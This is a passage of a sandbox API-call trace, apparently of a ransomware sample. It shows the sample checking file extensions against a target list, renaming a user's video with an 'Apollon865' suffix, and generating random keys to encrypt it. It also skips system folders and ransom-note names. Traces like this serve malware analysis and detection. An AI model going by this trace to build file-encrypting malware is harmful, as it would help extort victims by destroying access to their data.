	[0086.444] lstrcmpiW (lpString1="flv", lpString2="abx") returned 1
	[0086.444] lstrlenW (lpString="accdb") returned 5
	[0086.444] lstrcmpiW (lpString1="H.flv", lpString2="accdb") returned 1
	[0086.444] lstrlenW (lpString="accdc") returned 5
	[0086.444] lstrcmpiW (lpString1="H.flv", lpString2="accdc") returned 1
	[0086.444] lstrlenW (lpString="accde") returned 5
	[0086.444] lstrcmpiW (lpString1="H.flv", lpString2="accde") returned 1
	[0086.444] lstrlenW (lpString="accdr") returned 5
	[0086.444] lstrcmpiW (lpString1="H.flv", lpString2="accdr") returned 1
	[0086.444] lstrlenW (lpString="accdt") returned 5
	[0086.444] lstrcmpiW (lpString1="H.flv", lpString2="accdt") returned 1
	[0086.444] lstrlenW (lpString="accdw") returned 5
	[0086.444] lstrcmpiW (lpString1="H.flv", lpString2="accdw") returned 1
	[0086.444] lstrlenW (lpString="accft") returned 5
	[0086.444] lstrcmpiW (lpString1="H.flv", lpString2="accft") returned 1
	[0086.444] lstrlenW (lpString="adb") returned 3
	[0086.444] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.444] lstrlenW (lpString="adb") returned 3
	[0086.444] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.444] lstrlenW (lpString="ade") returned 3
	[0086.444] lstrcmpiW (lpString1="flv", lpString2="ade") returned 1
	[0086.444] lstrlenW (lpString="adf") returned 3
	[0086.444] lstrcmpiW (lpString1="flv", lpString2="adf") returned 1
	[0086.444] lstrlenW (lpString="adn") returned 3
	[0086.444] lstrcmpiW (lpString1="flv", lpString2="adn") returned 1
	[0086.444] lstrlenW (lpString="adp") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="adp") returned 1
	[0086.445] lstrlenW (lpString="alf") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="alf") returned 1
	[0086.445] lstrlenW (lpString="ask") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="ask") returned 1
	[0086.445] lstrlenW (lpString="btr") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="btr") returned 1
	[0086.445] lstrlenW (lpString="cat") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="cat") returned 1
	[0086.445] lstrlenW (lpString="cdb") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="cdb") returned 1
	[0086.445] lstrlenW (lpString="ckp") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="ckp") returned 1
	[0086.445] lstrlenW (lpString="cma") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="cma") returned 1
	[0086.445] lstrlenW (lpString="cpd") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="cpd") returned 1
	[0086.445] lstrlenW (lpString="dacpac") returned 6
	[0086.445] lstrcmpiW (lpString1="YH.flv", lpString2="dacpac") returned 1
	[0086.445] lstrlenW (lpString="dad") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="dad") returned 1
	[0086.445] lstrlenW (lpString="dadiagrams") returned 10
	[0086.445] lstrcmpiW (lpString1="jMHBYH.flv", lpString2="dadiagrams") returned 1
	[0086.445] lstrlenW (lpString="daschema") returned 8
	[0086.445] lstrcmpiW (lpString1="HBYH.flv", lpString2="daschema") returned 1
	[0086.445] lstrlenW (lpString="db-journal") returned 10
	[0086.445] lstrcmpiW (lpString1="jMHBYH.flv", lpString2="db-journal") returned 1
	[0086.445] lstrlenW (lpString="db-shm") returned 6
	[0086.445] lstrcmpiW (lpString1="YH.flv", lpString2="db-shm") returned 1
	[0086.445] lstrlenW (lpString="db-wal") returned 6
	[0086.445] lstrcmpiW (lpString1="YH.flv", lpString2="db-wal") returned 1
	[0086.445] lstrlenW (lpString="dbc") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="dbc") returned 1
	[0086.445] lstrlenW (lpString="dbs") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="dbs") returned 1
	[0086.445] lstrlenW (lpString="dbt") returned 3
	[0086.445] lstrcmpiW (lpString1="flv", lpString2="dbt") returned 1
	[0086.446] lstrlenW (lpString="dbv") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="dbv") returned 1
	[0086.446] lstrlenW (lpString="dbx") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="dbx") returned 1
	[0086.446] lstrlenW (lpString="dcb") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="dcb") returned 1
	[0086.446] lstrlenW (lpString="dct") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="dct") returned 1
	[0086.446] lstrlenW (lpString="dcx") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="dcx") returned 1
	[0086.446] lstrlenW (lpString="ddl") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="ddl") returned 1
	[0086.446] lstrlenW (lpString="dlis") returned 4
	[0086.446] lstrcmpiW (lpString1=".flv", lpString2="dlis") returned -1
	[0086.446] lstrlenW (lpString="dp1") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="dp1") returned 1
	[0086.446] lstrlenW (lpString="dqy") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="dqy") returned 1
	[0086.446] lstrlenW (lpString="dsk") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="dsk") returned 1
	[0086.446] lstrlenW (lpString="dsn") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="dsn") returned 1
	[0086.446] lstrlenW (lpString="dtsx") returned 4
	[0086.446] lstrcmpiW (lpString1=".flv", lpString2="dtsx") returned -1
	[0086.446] lstrlenW (lpString="dxl") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="dxl") returned 1
	[0086.446] lstrlenW (lpString="eco") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="eco") returned 1
	[0086.446] lstrlenW (lpString="ecx") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="ecx") returned 1
	[0086.446] lstrlenW (lpString="edb") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="edb") returned 1
	[0086.446] lstrlenW (lpString="epim") returned 4
	[0086.446] lstrcmpiW (lpString1=".flv", lpString2="epim") returned -1
	[0086.446] lstrlenW (lpString="fcd") returned 3
	[0086.446] lstrcmpiW (lpString1="flv", lpString2="fcd") returned 1
	[0086.446] lstrlenW (lpString="fdb") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="fdb") returned 1
	[0086.447] lstrlenW (lpString="fic") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="fic") returned 1
	[0086.447] lstrlenW (lpString="flexolibrary") returned 12
	[0086.447] lstrcmpiW (lpString1="SpjMHBYH.flv", lpString2="flexolibrary") returned 1
	[0086.447] lstrlenW (lpString="fm5") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="fm5") returned -1
	[0086.447] lstrlenW (lpString="fmp") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="fmp") returned -1
	[0086.447] lstrlenW (lpString="fmp12") returned 5
	[0086.447] lstrcmpiW (lpString1="H.flv", lpString2="fmp12") returned 1
	[0086.447] lstrlenW (lpString="fmpsl") returned 5
	[0086.447] lstrcmpiW (lpString1="H.flv", lpString2="fmpsl") returned 1
	[0086.447] lstrlenW (lpString="fol") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="fol") returned -1
	[0086.447] lstrlenW (lpString="fp3") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="fp3") returned -1
	[0086.447] lstrlenW (lpString="fp4") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="fp4") returned -1
	[0086.447] lstrlenW (lpString="fp5") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="fp5") returned -1
	[0086.447] lstrlenW (lpString="fp7") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="fp7") returned -1
	[0086.447] lstrlenW (lpString="fpt") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="fpt") returned -1
	[0086.447] lstrlenW (lpString="frm") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="frm") returned -1
	[0086.447] lstrlenW (lpString="gdb") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="gdb") returned -1
	[0086.447] lstrlenW (lpString="gdb") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="gdb") returned -1
	[0086.447] lstrlenW (lpString="grdb") returned 4
	[0086.447] lstrcmpiW (lpString1=".flv", lpString2="grdb") returned -1
	[0086.447] lstrlenW (lpString="gwi") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="gwi") returned -1
	[0086.447] lstrlenW (lpString="hdb") returned 3
	[0086.447] lstrcmpiW (lpString1="flv", lpString2="hdb") returned -1
	[0086.447] lstrlenW (lpString="his") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="his") returned -1
	[0086.448] lstrlenW (lpString="ib") returned 2
	[0086.448] lstrcmpiW (lpString1="lv", lpString2="ib") returned 1
	[0086.448] lstrlenW (lpString="idb") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="idb") returned -1
	[0086.448] lstrlenW (lpString="ihx") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="ihx") returned -1
	[0086.448] lstrlenW (lpString="itdb") returned 4
	[0086.448] lstrcmpiW (lpString1=".flv", lpString2="itdb") returned -1
	[0086.448] lstrlenW (lpString="itw") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="itw") returned -1
	[0086.448] lstrlenW (lpString="jet") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="jet") returned -1
	[0086.448] lstrlenW (lpString="jtx") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="jtx") returned -1
	[0086.448] lstrlenW (lpString="kdb") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="kdb") returned -1
	[0086.448] lstrlenW (lpString="kexi") returned 4
	[0086.448] lstrcmpiW (lpString1=".flv", lpString2="kexi") returned -1
	[0086.448] lstrlenW (lpString="kexic") returned 5
	[0086.448] lstrcmpiW (lpString1="H.flv", lpString2="kexic") returned -1
	[0086.448] lstrlenW (lpString="kexis") returned 5
	[0086.448] lstrcmpiW (lpString1="H.flv", lpString2="kexis") returned -1
	[0086.448] lstrlenW (lpString="lgc") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="lgc") returned -1
	[0086.448] lstrlenW (lpString="lwx") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="lwx") returned -1
	[0086.448] lstrlenW (lpString="maf") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="maf") returned -1
	[0086.448] lstrlenW (lpString="maq") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="maq") returned -1
	[0086.448] lstrlenW (lpString="mar") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="mar") returned -1
	[0086.448] lstrlenW (lpString="marshal") returned 7
	[0086.448] lstrcmpiW (lpString1="BYH.flv", lpString2="marshal") returned -1
	[0086.448] lstrlenW (lpString="mas") returned 3
	[0086.448] lstrcmpiW (lpString1="flv", lpString2="mas") returned -1
	[0086.448] lstrlenW (lpString="mav") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="mav") returned -1
	[0086.449] lstrlenW (lpString="maw") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="maw") returned -1
	[0086.449] lstrlenW (lpString="mdbhtml") returned 7
	[0086.449] lstrcmpiW (lpString1="BYH.flv", lpString2="mdbhtml") returned -1
	[0086.449] lstrlenW (lpString="mdn") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="mdn") returned -1
	[0086.449] lstrlenW (lpString="mdt") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="mdt") returned -1
	[0086.449] lstrlenW (lpString="mfd") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="mfd") returned -1
	[0086.449] lstrlenW (lpString="mpd") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="mpd") returned -1
	[0086.449] lstrlenW (lpString="mrg") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="mrg") returned -1
	[0086.449] lstrlenW (lpString="mud") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="mud") returned -1
	[0086.449] lstrlenW (lpString="mwb") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="mwb") returned -1
	[0086.449] lstrlenW (lpString="myd") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="myd") returned -1
	[0086.449] lstrlenW (lpString="ndf") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="ndf") returned -1
	[0086.449] lstrlenW (lpString="nnt") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="nnt") returned -1
	[0086.449] lstrlenW (lpString="nrmlib") returned 6
	[0086.449] lstrcmpiW (lpString1="YH.flv", lpString2="nrmlib") returned 1
	[0086.449] lstrlenW (lpString="ns2") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="ns2") returned -1
	[0086.449] lstrlenW (lpString="ns3") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="ns3") returned -1
	[0086.449] lstrlenW (lpString="ns4") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="ns4") returned -1
	[0086.449] lstrlenW (lpString="nsf") returned 3
	[0086.449] lstrcmpiW (lpString1="flv", lpString2="nsf") returned -1
	[0086.449] lstrlenW (lpString="nv") returned 2
	[0086.449] lstrcmpiW (lpString1="lv", lpString2="nv") returned -1
	[0086.450] lstrlenW (lpString="nv2") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="nv2") returned -1
	[0086.450] lstrlenW (lpString="nwdb") returned 4
	[0086.450] lstrcmpiW (lpString1=".flv", lpString2="nwdb") returned -1
	[0086.450] lstrlenW (lpString="nyf") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="nyf") returned -1
	[0086.450] lstrlenW (lpString="odb") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="odb") returned -1
	[0086.450] lstrlenW (lpString="odb") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="odb") returned -1
	[0086.450] lstrlenW (lpString="oqy") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="oqy") returned -1
	[0086.450] lstrlenW (lpString="ora") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="ora") returned -1
	[0086.450] lstrlenW (lpString="orx") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="orx") returned -1
	[0086.450] lstrlenW (lpString="owc") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="owc") returned -1
	[0086.450] lstrlenW (lpString="p96") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="p96") returned -1
	[0086.450] lstrlenW (lpString="p97") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="p97") returned -1
	[0086.450] lstrlenW (lpString="pan") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="pan") returned -1
	[0086.450] lstrlenW (lpString="pdb") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="pdb") returned -1
	[0086.450] lstrlenW (lpString="pdm") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="pdm") returned -1
	[0086.450] lstrlenW (lpString="pnz") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="pnz") returned -1
	[0086.450] lstrlenW (lpString="qry") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="qry") returned -1
	[0086.450] lstrlenW (lpString="qvd") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="qvd") returned -1
	[0086.450] lstrlenW (lpString="rbf") returned 3
	[0086.450] lstrcmpiW (lpString1="flv", lpString2="rbf") returned -1
	[0086.450] lstrlenW (lpString="rctd") returned 4
	[0086.451] lstrcmpiW (lpString1=".flv", lpString2="rctd") returned -1
	[0086.451] lstrlenW (lpString="rod") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="rod") returned -1
	[0086.451] lstrlenW (lpString="rodx") returned 4
	[0086.451] lstrcmpiW (lpString1=".flv", lpString2="rodx") returned -1
	[0086.451] lstrlenW (lpString="rpd") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="rpd") returned -1
	[0086.451] lstrlenW (lpString="rsd") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="rsd") returned -1
	[0086.451] lstrlenW (lpString="sas7bdat") returned 8
	[0086.451] lstrcmpiW (lpString1="HBYH.flv", lpString2="sas7bdat") returned -1
	[0086.451] lstrlenW (lpString="sbf") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="sbf") returned -1
	[0086.451] lstrlenW (lpString="scx") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="scx") returned -1
	[0086.451] lstrlenW (lpString="sdb") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="sdb") returned -1
	[0086.451] lstrlenW (lpString="sdc") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="sdc") returned -1
	[0086.451] lstrlenW (lpString="sdf") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="sdf") returned -1
	[0086.451] lstrlenW (lpString="sis") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="sis") returned -1
	[0086.451] lstrlenW (lpString="spq") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="spq") returned -1
	[0086.451] lstrlenW (lpString="te") returned 2
	[0086.451] lstrcmpiW (lpString1="lv", lpString2="te") returned -1
	[0086.451] lstrlenW (lpString="teacher") returned 7
	[0086.451] lstrcmpiW (lpString1="BYH.flv", lpString2="teacher") returned -1
	[0086.451] lstrlenW (lpString="tmd") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="tmd") returned -1
	[0086.451] lstrlenW (lpString="tps") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="tps") returned -1
	[0086.451] lstrlenW (lpString="trc") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="trc") returned -1
	[0086.451] lstrlenW (lpString="trc") returned 3
	[0086.451] lstrcmpiW (lpString1="flv", lpString2="trc") returned -1
	[0086.451] lstrlenW (lpString="trm") returned 3
	[0086.452] lstrcmpiW (lpString1="flv", lpString2="trm") returned -1
	[0086.452] lstrlenW (lpString="udb") returned 3
	[0086.452] lstrcmpiW (lpString1="flv", lpString2="udb") returned -1
	[0086.452] lstrlenW (lpString="udl") returned 3
	[0086.452] lstrcmpiW (lpString1="flv", lpString2="udl") returned -1
	[0086.452] lstrlenW (lpString="usr") returned 3
	[0086.452] lstrcmpiW (lpString1="flv", lpString2="usr") returned -1
	[0086.452] lstrlenW (lpString="v12") returned 3
	[0086.452] lstrcmpiW (lpString1="flv", lpString2="v12") returned -1
	[0086.452] lstrlenW (lpString="vis") returned 3
	[0086.452] lstrcmpiW (lpString1="flv", lpString2="vis") returned -1
	[0086.452] lstrlenW (lpString="vpd") returned 3
	[0086.452] lstrcmpiW (lpString1="flv", lpString2="vpd") returned -1
	[0086.452] lstrlenW (lpString="vvv") returned 3
	[0086.452] lstrcmpiW (lpString1="flv", lpString2="vvv") returned -1
	[0086.452] lstrlenW (lpString="wdb") returned 3
	[0086.452] lstrcmpiW (lpString1="flv", lpString2="wdb") returned -1
	[0086.452] lstrlenW (lpString="wmdb") returned 4
	[0086.452] lstrcmpiW (lpString1=".flv", lpString2="wmdb") returned -1
	[0086.452] lstrlenW (lpString="wrk") returned 3
	[0086.452] lstrcmpiW (lpString1="flv", lpString2="wrk") returned -1
	[0086.452] lstrlenW (lpString="xdb") returned 3
	[0086.452] lstrcmpiW (lpString1="flv", lpString2="xdb") returned -1
	[0086.452] lstrlenW (lpString="xld") returned 3
	[0086.452] lstrcmpiW (lpString1="flv", lpString2="xld") returned -1
	[0086.452] lstrlenW (lpString="xmlff") returned 5
	[0086.452] lstrcmpiW (lpString1="H.flv", lpString2="xmlff") returned -1
	[0086.452] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\MIISpjMHBYH.flv.Apollon865") returned 74
	[0086.452] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\MIISpjMHBYH.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\miispjmhbyh.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\MIISpjMHBYH.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\miispjmhbyh.flv.apollon865"), dwFlags=0x1) returned 1
	[0086.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\MIISpjMHBYH.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\miispjmhbyh.flv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.453] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=74386) returned 1
	[0086.453] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.454] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.455] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.455] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.455] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x125a0, lpName=0x0) returned 0x15c
	[0086.455] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x125a0) returned 0x120000
	[0086.458] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.458] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.458] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.459] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.459] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.459] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.459] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.459] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.459] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.460] CloseHandle (hObject=0x15c) returned 1
	[0086.460] CloseHandle (hObject=0x9c) returned 1
	[0086.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.461] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.461] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd4995d0, ftCreationTime.dwHighDateTime=0x1d4c867, ftLastAccessTime.dwLowDateTime=0x3013b0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3013b0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vITkbYTcVnkfQOzJRpm", cAlternateFileName="VITKBY~1")) returned 1
	[0086.461] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.461] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2="Apollon865.txt.exe") returned 1
	[0086.461] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2=".") returned 1
	[0086.462] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2="..") returned 1
	[0086.462] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2="windows") returned -1
	[0086.462] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2="bootmgr") returned 1
	[0086.462] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2="temp") returned 1
	[0086.462] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2="pagefile.sys") returned 1
	[0086.462] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2="boot") returned 1
	[0086.462] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2="ids.txt") returned 1
	[0086.462] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2="ntuser.dat") returned 1
	[0086.462] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2="perflogs") returned 1
	[0086.462] lstrcmpiW (lpString1="vITkbYTcVnkfQOzJRpm", lpString2="MSBuild") returned 1
	[0086.462] lstrlenW (lpString="vITkbYTcVnkfQOzJRpm") returned 19
	[0086.462] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\MIISpjMHBYH.flv") returned 63
	[0086.462] lstrcpyW (in: lpString1=0x119e668, lpString2="vITkbYTcVnkfQOzJRpm" | out: lpString1="vITkbYTcVnkfQOzJRpm") returned="vITkbYTcVnkfQOzJRpm"
	[0086.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0086.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8f28
	[0086.462] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b50
	[0086.462] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd4995d0, ftCreationTime.dwHighDateTime=0x1d4c867, ftLastAccessTime.dwLowDateTime=0x3013b0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3013b0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vITkbYTcVnkfQOzJRpm", cAlternateFileName="VITKBY~1")) returned 0
	[0086.462] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0086.462] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0086.462] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm"
	[0086.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
